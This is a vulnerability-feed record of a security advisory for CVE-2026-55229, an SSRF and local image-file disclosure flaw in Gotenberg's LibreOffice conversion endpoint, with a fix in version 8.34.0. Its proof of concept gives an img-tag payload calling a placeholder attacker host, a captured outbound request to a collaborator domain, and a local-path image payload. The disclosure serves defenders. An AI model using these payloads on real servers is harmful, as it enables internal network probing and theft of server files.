{"id":"CVE-2026-55229","title":"Gotenberg: SSRF via LibreOffice document processing","summary":"Gotenberg: SSRF via LibreOffice document processing","severity":"high","cvss":7.5,"cwe":["CWE-918"],"vendor":"gotenberg","product":"github.com/gotenberg/gotenberg/v8","ecosystem":"go","affected":["github.com/gotenberg/gotenberg/v8 < 8.34.0"],"patched":["github.com/gotenberg/gotenberg/v8 8.34.0"],"published":"2026-06-18","updated":"2026-06-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2mrg-35hw-x3x9","references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9"},{"url":"https://github.com/advisories/GHSA-2mrg-35hw-x3x9"}],"tags":["ghsa","go","exploit-available"],"ingestedAt":"2026-06-29T14:31:47.012Z","epss":0.01514,"epssPercentile":0.73373,"exploits":{"nuclei":["CVE-2026-55229"],"checkedAt":"2026-09-23T07:14:21.309Z"},"exploitAvailable":true,"slug":"CVE-2026-55229","body":"## Overview\n\n**Summary**\n\n Server-Side Request Forgery (SSRF) vulnerability affecting the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration.\n\nBy uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.\n\nAdditionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.\n\n**PoC**\n\n**External Resource Retrieval**\n\nCreate a DOCX document containing the following content:\n\n`<img src=\"http://[ATTACKER_HOST]:[PORT]/path?query=somedata\">`\n\nUpload the document to the `/forms/libreoffice/convert `endpoint.\n\nDuring document processing, LibreOffice automatically retrieves the referenced external resource.\n\nAn outbound request can be observed on Burp Collaborator:\n\n```\nGET /secretendpoint?query=hacked HTTP/1.1\nHost: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com\nUser-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n```\n\n**Local Resource Retrieval**\n\nCreate a DOCX document containing the following content:\n\n`<img src=\"/path/to/image.png\">`\n\nUpload the document to the `/forms/libreoffice/convert `endpoint.\n\nDuring document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.\n\nResult in output document (used payload - `<img src=\"/usr/share/pixmaps/debian-logo.png\">`):\n\n<img width=\"1346\" height=\"397\" alt=\"result\" src=\"https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e\" />\n\n\n**Impact**\n\nThe identified vulnerability enables two primary attack vectors:\n\nBlind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.\n\nLocal File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.\n\n**Notes**\n\nThe issue was reproduced on Gotenberg v8.33.0 under the default configuration.\n\nGiven the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.\n\n## Affected packages\n\n- `github.com/gotenberg/gotenberg/v8 < 8.34.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/gotenberg/gotenberg/v8 8.34.0`","depth":"midnight","depthScore":54,"depthScoreParts":{"impact":41.3,"likelihood":0.3,"exploitation":12,"ransomware":0},"changes":[{"seq":5350,"id":"CVE-2026-55229","ts":1788887269833,"field":"exploit_available","old":"false","new":"true"},{"seq":4233,"id":"CVE-2026-55229","ts":1788886384702,"field":"exploit_available","old":"true","new":"false"},{"seq":2989,"id":"CVE-2026-55229","ts":1788883048362,"field":"exploit_available","old":"false","new":"true"},{"seq":2018,"id":"CVE-2026-55229","ts":1788882452777,"field":"exploit_available","old":"true","new":"false"},{"seq":1094,"id":"CVE-2026-55229","ts":1788881889643,"field":"exploit_available","old":"false","new":"true"}]}